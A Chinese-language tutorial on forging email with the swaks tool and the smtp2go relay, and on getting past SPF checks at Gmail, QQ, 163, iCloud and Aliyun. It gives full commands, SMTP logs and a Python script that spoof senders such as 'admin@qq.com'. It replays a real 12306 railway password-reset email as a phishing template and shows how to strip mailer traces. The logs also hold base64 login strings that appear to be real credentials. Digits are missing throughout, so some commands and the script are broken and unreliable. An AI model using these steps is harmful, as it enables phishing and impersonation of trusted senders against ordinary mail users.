Swaks绕过SPF验证进行邮件伪造

0x00 swaks简介

Swaks是一个功能强大，灵活，可编写脚本，面向事务的SMTP测试工具，由John Jetmore编写和维护。

目前Swaks托管在私有svn存储库中。官方项目页面是http://jetmore.org/john/code/swaks/

下载安装：（kali系统下自带，如果出错，可使用以下地址下载安装）

v20181104.0发行版：http://jetmore.org/john/code/swaks/files/swaks-20181104.0.tar.gz

前提条件:yum install  perl  (centos下）

tar  zxvf  swaks-20181104.0.tar.gz

cd   swaks-20181104.0.

./swaks

0x01  Swaks使用

1.基本使用语法：

1).swaks --to test@qq.com //测试邮箱的连通性；

root@localhost swaks-20181104.0]# ./swaks --to @qq.com  

*** MX Routing not available: requires Net::DNS. Using localhost as mail server

=== Trying localhost:...

=== Connected to localhost.

<-  localhost.localdomain ESMTP Postfix

 -> EHLO localhost

<- -localhost.localdomain

<- -PIPELINING

<- -SIZE 

<- -VRFY

<- -ETRN

<- -ENHANCEDSTATUSCODES

<- -8BITMIME

<-  DSN

 -> MAIL FROM:<root@localhost>

<-  2.1. Ok

 -> RCPT TO:<@qq.com>

<-  2.1. Ok

 -> DATA

<-  End data with <CR><LF>.<CR><LF>

 -> Date: Thu,  May  :: +

 -> To: @qq.com

 -> From: root@localhost

 -> Subject: test Thu,  May  :: +

 -> Message-Id: <20190509182415.044457@localhost>

 -> X-Mailer: swaks v20181104. jetmore.org/john/code/swaks/

 -> 

 -> This is a test mailing

 -> 

 -> 

 -> .

<-  2.0. Ok: queued as 

 -> QUIT

<-  2.0. Bye

=== Connection closed with remote host.

前面都返回250ok，说明该邮箱存在，并且可以正常收信。最后可以看到qq邮箱返回550错误，qq官方给出的出错原因：该邮件内容涉嫌大量群发，并且被多数用户投诉为垃圾邮件

2).参数说明（这里只是简单的罗列了一些，至于更加具体的内容可以使用--help进行查看了解）

--from test@qq.com //发件人邮箱；

--ehlo qq.com //伪造邮件ehlo头，即是发件人邮箱的域名。提供身份认证

--body "http://www.baidu.com" //引号中的内容即为邮件正文；

--header "Subject:hello" //邮件头信息，subject为邮件标题

--data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件，再作为正常邮件发送

2.伪造发送 ：

1)发送简单内容  （QQ的邮箱被SPF拦截，网易的可发送成功）

[root@localhost swaks-20181104.0]# ./swaks --to backli×@.com --from wenqi×@gmail.com --body 诸葛先生，别来无恙～ --header "Subject: 来自大司马的问候" --server mail.smtp2go.com   -p  -au 用户名   -ap  密码    #这里需要到www.smtp2go.com下注册一个免费的发送的邮箱服务器的账号。如果不加--server则会显示错误“MX路由不可用： 使用localhost作为邮件服务器,需要设置Net :: DNS。

=== Trying mail.smtp2go.com:...

=== Connected to mail.smtp2go.com.

<-  mail.smtp2go.com ESMTP Exim 4.91 Thu,  May  :: +

 -> EHLO localhost

<- -mail.smtp2go.com Hello localhost [171.223.206.218]

<- -SIZE 

<- -8BITMIME

<- -DSN

<- -PIPELINING

<- -AUTH CRAM-MD5 PLAIN LOGIN

<- -CHUNKING

<- -STARTTLS

<- -PRDR

<-  HELP

 -> AUTH LOGIN

<-  VXNlcm5hbWU6

 -> YmFja2xpb24=

<-  UGFzc3dvcmQ6

 -> YWpWMmVtTnljRFp5ZWpobw==

<-  Authentication succeeded

 -> MAIL FROM:<wenqing1293@gmail.com>

<-  OK

 -> RCPT TO:<backlions@.com>

<-  Accepted <backlions@.com>

 -> DATA

<-  Enter message, ending with "." on a line by itself

 -> Date: Thu,  May  :: +

 -> To: backlions@.com

 -> From: wenqing1293@gmail.com

 -> Subject: 来自大司马的问候

 -> Message-Id: <20190509184221.044782@localhost>

 -> X-Mailer: swaks v20181104. jetmore.org/john/code/swaks/

 -> 

 -> 诸葛先生，别来无恙～

 -> 

 -> 

 -> .

<-  OK id=1hOgVO-RyuJx4-LX

 -> QUIT

<-  mail.smtp2go.com closing connection

=== Connection closed with remote host.

2)发送邮件模板

模板文件由邮箱中"显示邮件原文" ,另存为 readmail.txt，删除 Received,To相关内容，具体参考高级用法。

[root@localhost swaks-20181104.0]#  ./swaks --to backli×@.com --from wenqin×@gamil.com --data test.eml --header "Subject: 网上购票系统-用 户密码找回" --server mail.smtp2go.com -p  -au 用户名  -ap 密码

3)附加附件

[root@localhost swaks-20181104.0]# ./swaks --to backli×@.com  --from wenqi×@gmail.com  --body 诸葛先生，别来无恙～ --header "Subject: 来自大司马的问候"   --attach   等级保护.docx   --server mail.smtp2go.com   -p  -au 用户名   -ap  密码  

 

4).复杂邮件

swaks --to <要测试的邮箱> --from <被伪造的邮箱> --ehlo <网址> --body <邮件内容> --header <邮件标题>

[root@localhost swaks-20181104.0]# ./swaks  --to     backlions@.com   --from  wenqing1293@gamil.com    --ehlo   freebuf.com   --body  hello    --header "Subject: hello"

–from <要显示的发件人邮箱>

–ehlo <伪造的邮件ehlo头>

–body <邮件正文>

–header <邮件头信息，subject为邮件标题>

在你ip没有被qq邮箱band的情况下，邮件可以正常发送，返回250 ok

5）如果您的localhost无法发送邮件，您可以使用以下命令指定可靠的SMTP服务器：

swaks --to user@example.com --server smtp.example.com

3.高级用法

点击查看邮件原文，然后将邮件原文复制，另存为test.eml文件

对test.eml文件进行修改：to:后面的目标邮箱即可

[root@localhost swaks-20181104.0]# ./swaks --to backli×@.com --from wenqin×@gamil.com --data test.eml --header "Subject: 网上购票系统-用 户密码找回" --server mail.smtp2go.com -p  -au 用户名  -ap 密码
=== Trying mail.smtp2go.com:...
=== Connected to mail.smtp2go.com.
<-  mail.smtp2go.com ESMTP Exim 4.91 Thu,  May  :: +
 -> EHLO localhost
<- -mail.smtp2go.com Hello localhost [171.223.206.218]
<- -SIZE
<- -8BITMIME
<- -DSN
<- -PIPELINING
<- -AUTH CRAM-MD5 PLAIN LOGIN
<- -CHUNKING
<- -STARTTLS
<- -PRDR
<-  HELP
 -> AUTH LOGIN
<-  VXNlcm5hbWU6
 -> YmFja2x×
<-  UGFzc3dvcmQ6
 -> YWpWMmVtTnljRFp5Z×
<-  Authentication succeeded
 -> MAIL FROM:<wenqin×@gamil.com>
<-  OK
 -> RCPT TO:<back×@.com>
<-  Accepted <bac×@.com>
 -> DATA
<-  Enter message, ending with "." on a line by itself
 -> Received: from mail..cn (unknown [124.127.44.247])
 -> by newmx31.qq.com (NewMx) with SMTP id
 -> for <×@qq.com>; Sun,  Jan  :: +
 -> X-QQ-FEAT: y37167hFrfVQgRwaJgHKCRxOzlAGmr/AUask8Gt3aaw=
 -> X-QQ-MAILINFO: MHG2h55yn1llklKTjNwQJdtfp46IVGVTPzA2xPoaUP1h+EXLeI+swrHhT
 -> mpCCV5gt0hGnIzMreYVhczG4URIQzkNwhHU6RpKU98dM9WIcUCqTnKVA+/bP9Cm4+epY5N1
 -> rCpl5zs0xdiDi/Z/GS/ebiwHPp6QSatTZA==
 -> X-QQ-mid: mx31t1546749631tggruynog
 -> X-QQ-ORGSender: @rails.com.cn
 -> Received: from mail..cn (unknown [10.1.214.138])
 -> by mail..cn (Postfix) with ESMTP id 4C16720797
 -> for <×@qq.com>; Sun,  Jan  :: + (CST)
 -> Date: Sun,  Jan  :: + (CST)
 -> From: "12306@rails.com.cn" <@rails.com.cn>
 -> To: "backl×@163.com" <backlio×@.com>
 -> Message-ID: <81646906.18623783.@10.1.214.135>
 -> Subject: 网上购票系统-用户密码找回
 -> MIME-Version: 1.0
 -> Content-Type: multipart/alternative;
 -> boundary="----=_Part_18623781_1540198882.1546749630360"
 ->
 -> ------=_Part_18623781_1540198882.
 -> Content-Type: text/html; charset=gbk
 -> Content-Transfer-Encoding: quoted-printable
 ->
 -> <!DOCTYPE html>
 -> <html>
 -> <head>
 -> <meta charset=3D"utf-8">
 -> <meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge,chrome=3D1">
 -> <title>=CD=A8=D6=AA=D3=CA=BC=FE</title>
 -> <meta name=3D"description" content=3D"">
 -> <meta name=3D"keywords" content=3D"">
 -> <link href=3D"" rel=3D"stylesheet">
 -> </head>
 -> <body>
 -> =<table cellspacing=3D"" cellpadding=3D"" width=3D"760px"
 -> ==09style=3D"border-spacing: 0; color: #333333; border: 1px solid #f1f1f1=
 -> ; margin-left: auto; margin-right: auto;">
 -> ==<tr>
 -> ===<td width=3D"">
 -> ====<img src=3D"http://mobile.12306.cn/weixin/resources/weixin/imag=
 -> es/mail/mail_top.jpg" width=3D"" height=3D"">
 -> ===</td>
 -> ==</tr>
 -> ==<tr>
 -> ===<td width=3D""
 -> ====09style=3D"padding-left: 20px; padding-right: 20px; background: u=
 -> rl(http://mobile.12306.cn/weixin/resources/weixin/images/mail/mail_train.jp=
 -> g); background-position: bottom right; background-repeat: no-repeat;">
 -> ====<table cellspacing=3D"" cellpadding=3D"" width=3D"720px"
 -> =====09style=3D"border-spacing: 0; color: #333333;">
 -> =====<tr>
 -> ======<td width=3D""
 -> =======09style=3D"font-size: 16px; height: 40px; font-weight: b=
 -> old;">
 -> ========D7=F0=BE=B4=B5=C4 <span style=3D"color: #ff764c;">=CE=
 -> =C4=BA=A3=B8=D5=CF=C8=C9=FA=A3=BA</span>
 -> ======</td>
 -> =====</tr>
 -> =====<tr>
 -> ======<td width=3D"">
 -> =======<div style=3D"line-height: 20px; font-size: 12px;">=C4=
 -> =FA=BA=C3=A3=A1</div>
 -> =======<div style=3D"line-height: 20px; font-size: 12px;">=C4=
 -> =FA=D4=DA2019=C4=EA01=D4=C206=C8=D5 =CA=B140=B7=D6=CC=E1=BD=BB=D5=D2=BB=
 -> =D8=C3=DC=C2=EB=C7=EB=C7=F3=A3=AC=C7=EB=B5=E3=BB=F7=CF=C2=C3=E6=B5=C4=C1=B4=
 -> =BD=D3=D0=DE=B8=C4=D3=C3=BB=A7wen129=B5=C4=C3=DC=C2=EB:</div>
 -> ======</td>
 -> =====</tr>
 -> =====<tr>
 -> ======<td width=3D"" style=3D"padding-top: 10px; padding-bot=
 -> tom: 10px;">
 -> =======<div style=3D"border-top: 1px dashed #e9ecf0; border-b=
 -> ottom: 1px dashed #e9ecf0; color: #; font-size: 14px; padding-top: =
 -> px; padding-bottom: 10px;">
 -> ========<div style=3D"line-height: 20px; width:720px; color=
 -> : #; padding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> =========<a href=3Dhttps://kyfw.12306.cn/otn//forgetPassw=
 -> ord/changePassWord?uuId=3D5a3c9813-f6f6-4b6c-b7e7-6d634f06f0f1&lostTimeToDb=
 -> =3DF4AC92B54775FF543B1CDA2D8EB76EC9566489C1E9535098B1238FBC>https://kyfw.12=
 -> .cn/otn//forgetPassword/changePassWord?uuId=3D5a3c9813-f6f6-4b6c-b7e7-6d=
 -> 634f06f0f1&lostTimeToDb=3DF4AC92B54775FF543B1CDA2D8EB76EC9566489C1E9535098B=
 -> 1238FBC</a>
 -> ========</div>
 -> ========
 -> ========<div style=3D"line-height: 20px; color: #000000; pa=
 -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> =========(=C8=E7=B9=FB=C4=FA=CE=DE=B7=A8=B5=E3=BB=F7=D5=
 -> =E2=B8=F6=C1=B4=BD=D3=A3=AC=C7=EB=BD=AB=B4=CB=C1=B4=BD=D3=B8=B4=D6=C6=B5=BD=
 -> =E4=AF=C0=C0=C6=F7=B5=D8=D6=B7=C0=B8=BA=F3=B7=C3=CE=CA)
 -> ========</div>
 -> ========
 -> ========<div style=3D"line-height: 20px; color: #000000; pa=
 -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> ==========CE=AA=C1=CB=B1=A3=D6=A4=C4=FA=D5=CA=BA=C5=B5=C4=
 -> =B0=B2=C8=AB=D0=D4=A3=AC=B8=C3=C1=B4=BD=D3=D3=D0=D0=A7=C6=DA=CE=AA24=D0=A1=
 -> =CA=B1=A3=AC=B2=A2=C7=D2=B5=E3=BB=F7=D2=BB=B4=CE=BA=F3=BD=AB=CA=A7=D0=A7!
 -> ========</div>
 -> ========<div style=3D"line-height: 20px; color: #000000; pa=
 -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> ==========C9=E8=D6=C3=B2=A2=C0=CE=BC=C7=C3=DC=C2=EB=B1=A3=
 -> =BB=A4=CE=CA=CC=E2=BD=AB=B8=FC=BA=C3=B5=D8=B1=A3=D5=CF=C4=FA=B5=C4=D5=CA=BA=
 -> =C5=B0=B2=C8=AB=A1=A3
 -> ========</div>
 -> ========<div style=3D"line-height: 20px; color: #000000; pa=
 -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> ==========C8=E7=B9=FB=C4=FA=CE=F3=CA=D5=B5=BD=B4=CB=B5=E7=
 -> =D7=D3=D3=CA=BC=FE=A3=AC=D4=F2=BF=C9=C4=DC=CA=C7=C6=E4=CB=FB=D3=C3=BB=A7=D4=
 -> =DA=B3=A2=CA=D4=D5=CA=BA=C5=C9=E8=D6=C3=CA=B1=B5=C4=CE=F3=B2=D9=D7=F7=A3=AC=
 -> =C8=E7=B9=FB=C4=FA=B2=A2=CE=B4=B7=A2=C6=F0=B8=C3=C7=EB=C7=F3=A3=AC=D4=F2=CE=
 -> =DE=D0=E8=D4=D9=BD=F8=D0=D0=C8=CE=BA=CE=B2=D9=D7=F7=A3=AC=B2=A2=BF=C9=D2=D4=
 -> =B7=C5=D0=C4=B5=D8=BA=F6=C2=D4=B4=CB=B5=E7=D7=D3=D3=CA=BC=FE=A1=A3
 -> ========</div>
 -> ========<div style=3D"line-height: 20px; color: #000000; pa=
 -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;">
 -> ==========C8=F4=C4=FA=B5=A3=D0=C4=D5=CA=BA=C5=B0=B2=C8=AB=
 -> =A3=AC=BD=A8=D2=E9=C4=FA=C1=A2=BC=B4=B5=C7=C2=BC=A3=AC=BD=F8=C8=EB=A1=B0=CE=
 -> =D2=B5=C412306=A1=B1=A3=AC=C3=DC=C2=EB=D0=DE=B8=C4=D6=D0=D0=DE=B8=C4=C3=DC=
 -> =C2=EB=A1=A3
 -> ========</div>
 -> =======</div>
 -> ======</td>
 -> =====</tr>
 -> =====<tr>
 -> ======<td width=3D"">
 -> =======<table cellspacing=3D"" cellpadding=3D"" width=3D"72=
 -> 0px"
 -> ========09style=3D"border-spacing: 0; color: #333333;">
 -> ========<tr>
 -> =========<td></td>
 -> =========<td width=3D""
 -> ==========09style=3D"text-align: center; height: 24px; fo=
 -> nt-size: 12px;">
 -> ==========<img src=3D"http://mobile.12306.cn/weixin/res=
 -> ources/weixin/images/mail/mail_logo.jpg"
 -> ==========09alt=3D"logo" width=3D"" height=3D""
 -> ==========09style=3D"vertical-align: bottom; margin-right=
 -> : 10px;">=D6=D0=B9=FA=CC=FA=C2=B7=BF=CD=BB=A7=B7=FE=CE=F1=D6=D0=D0=C4
 -> =========</td>
 -> ========</tr>
 -> ========<tr>
 -> =========<td></td>
 -> =========<td width=3D""
 -> ==========09style=3D"text-align: center; height: 24px; fo=
 -> nt-size: 12px;">2019=C4=EA01=D4=C206=C8=D5</td>
 -> ========</tr>
 -> =======</table>
 -> ======</td>
 -> =====</tr>
 -> =====<tr>
 -> ======<td width=3D"" style=3D"padding-top: 10px; padding-bot=
 -> tom: 15px;">
 -> =======<img src=3D"http://mobile.12306.cn/weixin/resources/we=
 -> ixin/images/mail/mail_line.jpg" alt=3D"">
 -> ======</td>
 -> =====</tr>
 -> ====</table>
 -> ===</td>
 -> ==</tr>
 -> =</table>
 -> </body>
 -> </html>
 ->
 -> ------=_Part_18623781_1540198882.--
 ->
 ->
 -> .
<-  OK id=1hOhIj-RyuRWW-5t
 -> QUIT
<-  mail.smtp2go.com closing connection
=== Connection closed with remote host.

0x02  smtp2go配置

这个是从evi1cg师傅那里看到的，smtp2go主要是相当于邮件托管，可以分发子账户进行发送。

注册地址：https://www.smtp2go.com/

（邮箱注册）普通账户可以免费发1000封邮件。

这时候需要在设置菜单中的uses中新建一个账号，密码可以自动生成或者自己修改。

 

0x03 swaks发送邮件

swaks --to wenqing*@gmail.com   --from  admin@qq.com  --ehlo  gmail.com  --body  hello  --server mail.smtp2go.com -p  -au 用户名  -ap  密码

上面该命令也可绕过gamil邮件发送：

 

0x04 SPF验证原理

如果mail.smtp2go.com是我的邮件服务器，那么Gmail的服务器收到的源IP也肯定是mail.smtp2go.com的IP。

Gmail中会校验邮件发送者的IP是否存在于smtp.from的域名SPF配置列表里。

而上面这条命令：

swaks --to wenqing*@gmail.com  --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p  -au <USER> -ap <PASS>

smtp.from就是admin@qq.com，和mail.smtp2go.com的IP肯定不同，所以SPF校验失败，而校验失败的邮件，会有很高的几率被扔到垃圾邮件中。

默认情况下，如果未设置Mail.From也就是邮件头的发件人，则会使用smtp.from作为Mail.From。

0x05 绕过SPF

由于邮件显示的是接头连接器中的来自不是smtp.from，因此可以将smtp.from设置为正常的邮件服务器地址，伪造一个Mail.From即可。

swaks --to wenqi*@gmail.com    --from what@smtp2go.com  --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello  --server mail.smtp2go.com  -p    -au  用户名    -ap  密码

Gmail中接收到这封邮件后，校验会--from xx@smtp2go.com中的smtp2go.com是否等于mail.smtp2go.com的IP，由于是相等的，所以完成了SPF的校验。

而DKIM是校验邮件完整性的，smtp2go与Gmail中直接使用的是TLS，不会发生什么问题。

 

 

0x06  修改标题

swaks支持自定义某些报头，参数如下：

swaks --header-<Name> <Value>

如果我想去除梅勒特征，就可以这么做：

swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello  --header "Subject: this is a test "  --server mail.smtp2go.com -p  -au <USER> -ap <PASSS>

 

0x07 Python脚本

#!/usr/bin/python
# -*- coding: UTF- -*-

import smtplib
from email.mime.text import MIMEText
from email.header import Header

mail_host="mail.smtp2go.com"
mail_user=""
mail_pass=""

sender = 'test@smtp2go.com'
receivers = ['rvn0xsy@gmail.com']

message = MIMEText('Hello World', 'plain', 'utf-8')
message['From'] = Header("from@qq.com", 'utf-8')
message['To'] =  Header(receivers[], 'utf-8')

subject = 'SMTP 邮件测试'
message['Subject'] = Header(subject, 'utf-8')

try:
    smtpObj = smtplib.SMTP()
    smtpObj.connect(mail_host, )
    smtpObj.login(mail_user,mail_pass)
    smtpObj.sendmail(sender, receivers, message.as_string())
    print "Success"
except smtplib.SMTPException:
    print "Error"

0x08 总结

经测试，通过swaks 加smtp2go中转服务器可以绕过icloud.com ，aliyun.com，gmail.com，163.com等邮箱的SPF进行邮件伪造。

0x09 参考文献

https://evi1cg.me/archives/Email_spoofing.html

https://payloads.online/archivers/2019-05-09/1